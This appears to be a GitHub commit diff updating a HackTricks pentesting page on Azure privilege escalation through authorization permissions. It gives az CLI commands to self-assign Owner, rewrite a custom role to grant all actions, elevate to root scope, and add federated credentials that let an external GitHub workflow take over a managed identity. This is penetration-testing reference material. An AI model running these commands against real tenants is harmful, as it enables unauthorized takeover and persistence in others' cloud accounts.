Skip to content

Commit 28a5f23

Browse files
authored
Merge pull request #279 from HackTricks-wiki/update_IAM_the_Captain_Now___Hijacking_Azure_Identity_Acc_20260409_132358
IAM the Captain Now – Hijacking Azure Identity Access
2 parents a80e284 + 8d313ae commit 28a5f23

1 file changed

Lines changed: 74 additions & 7 deletions

File tree

src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md

Lines changed: 74 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -10,18 +10,49 @@ Fore more information check:
1010
../az-services/az-azuread.md
1111
{{#endref}}
1212

13+
Permissions that let a principal **change authorization itself** are usually **privesc primitives**. This is specially dangerous when they are granted on **management group** or **subscription** scopes, because the permissions are inherited by child resources.
14+
1315
### Microsoft.Authorization/roleAssignments/write
1416

15-
This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role:
17+
This permission allows to create role assignments over a specific scope, allowing an attacker to escalate privileges by assigning himself or another controlled principal a more privileged role.
18+
19+
Typical flow:
20+
21+
```bash
22+
# Login and confirm current context
23+
az login
24+
az account show
25+
26+
# Enumerate current assignments and find the custom role granting this action
27+
az role assignment list --all --output table
28+
az role definition list --name "<role-definition-name>"
29+
```
30+
31+
If the compromised principal has this action over a scope, it can directly grant a privileged role such as `Owner`, `Contributor`, `Key Vault Secrets Officer`, or any other built-in/custom role available in that scope:
1632

1733
```bash
1834
# Example
1935
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
2036
```
2137

22-
### Microsoft.Authorization/roleDefinitions/Write
38+
Knowing the **principal object ID** of the target user/service principal/managed identity is enough to grant the new role. This can be abused for **self-privesc**, **lateral movement**, or **persistence** by assigning the role to a different controlled principal.
39+
40+
### Microsoft.Authorization/roleDefinitions/write
2341

24-
This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned.
42+
This permission allows to create or modify custom role definitions. In practice, this is dangerous because an attacker can:
43+
44+
- Modify a custom role that is **already assigned** to the compromised principal, making the new permissions effective immediately.
45+
- Create a new over-privileged custom role and then assign it, usually chaining with `Microsoft.Authorization/roleAssignments/write`.
46+
47+
Typical flow:
48+
49+
```bash
50+
# Find the current assignments
51+
az role assignment list --all --output table
52+
53+
# Review the role definition currently assigned to the compromised principal
54+
az role definition list --name "<role-definition-name>"
55+
```
2556

2657
Create the file `role.json` with the following **content**:
2758

@@ -36,7 +67,7 @@ Create the file `role.json` with the following **content**:
3667
"DataActions": ["*"],
3768
"NotDataActions": [],
3869
"AssignableScopes": ["/subscriptions/<subscription-id>"],
39-
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
70+
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>"
4071
}
4172
```
4273

@@ -46,6 +77,9 @@ Then update the role permissions with the previous definition calling:
4677
az role definition update --role-definition role.json
4778
```
4879

80+
If the modified role is **already assigned** to the attacker, this can be a faster path than creating a new role assignment because the permission inflation applies to the existing assignment.\
81+
If the attacker only has `roleDefinitions/write`, he can still weaponize it by modifying roles already assigned to compromised principals.
82+
4983
### Microsoft.Authorization/elevateAccess/action
5084

5185
This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources.
@@ -63,9 +97,31 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
6397

6498
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
6599

66-
This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to **access any user defined managed identity**.
100+
This permission allows to create/update **Federated Identity Credentials (FICs)** on **user-assigned managed identities**. In practice, this lets an attacker add a new trust relationship to an external identity provider and then obtain tokens as that managed identity.
67101

68-
Example command to give access to a repo in Github to the a managed identity:
102+
This is a **persistence / identity hijacking primitive**: if the managed identity already has access to Azure resources, the attacker only needs to create a matching external workload (for example, a GitHub Actions workflow) and exchange the external token for Azure tokens.
103+
104+
Useful points to verify before abusing it:
105+
106+
- Which **managed identity** can be modified
107+
- Which **scope/roles** are already assigned to that managed identity
108+
- Which **issuer**, **subject**, and **audience** will be accepted during token exchange
109+
110+
You can create the FIC with the dedicated CLI command:
111+
112+
```bash
113+
az identity federated-credential create \
114+
--name "github-federated-identity" \
115+
--identity-name testMI \
116+
--resource-group bialystok-rg \
117+
--issuer "https://token.actions.githubusercontent.com" \
118+
--subject "repo:REPO/IAMTEST:ref:refs/heads/main" \
119+
--audiences "api://AzureADTokenExchange"
120+
```
121+
122+
Or with raw REST.
123+
124+
Example command to give access to a GitHub repo to a managed identity:
69125

70126
```bash
71127
# Generic example:
@@ -81,6 +137,12 @@ az rest --method PUT \
81137
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
82138
```
83139

140+
Once the FIC is created, the attacker can authenticate from the external workload and use the managed identity permissions already granted in Azure. For more information about abusing GitHub OIDC / workload identity, check:
141+
142+
{{#ref}}
143+
../az-basic-information/az-federation-abuse.md
144+
{{#endref}}
145+
84146
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
85147

86148
An attacker with the permission `Microsoft.Authorization/policyAssignments/write` or `Microsoft.Authorization/policyAssignments/delete` over a management group, subscription, or resource group can **modify or delete Azure policy assignments**, potentially **disabling security restrictions** that block specific operations.
@@ -191,6 +253,11 @@ az account management-group subscription show \
191253
--subscription "<subscriptionId>"
192254
```
193255

194-
{{#include ../../../banners/hacktricks-training.md}}
256+
## References
195257

258+
- [IAM the Captain Now – Hijacking Azure Identity Access](https://trustedsec.com/blog/iam-the-captain-now-hijacking-azure-identity-access)
259+
- [Assign Azure roles using the REST API - Azure RBAC](https://learn.microsoft.com/en-us/azure/role-based-access-control/role-assignments-rest)
260+
- [Azure custom roles](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
261+
- [Create trust between user-assigned managed identity and external identity provider](https://learn.microsoft.com/en-us/entra/workload-id/workload-identity-federation-create-trust-user-assigned-managed-identity)
196262

263+
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)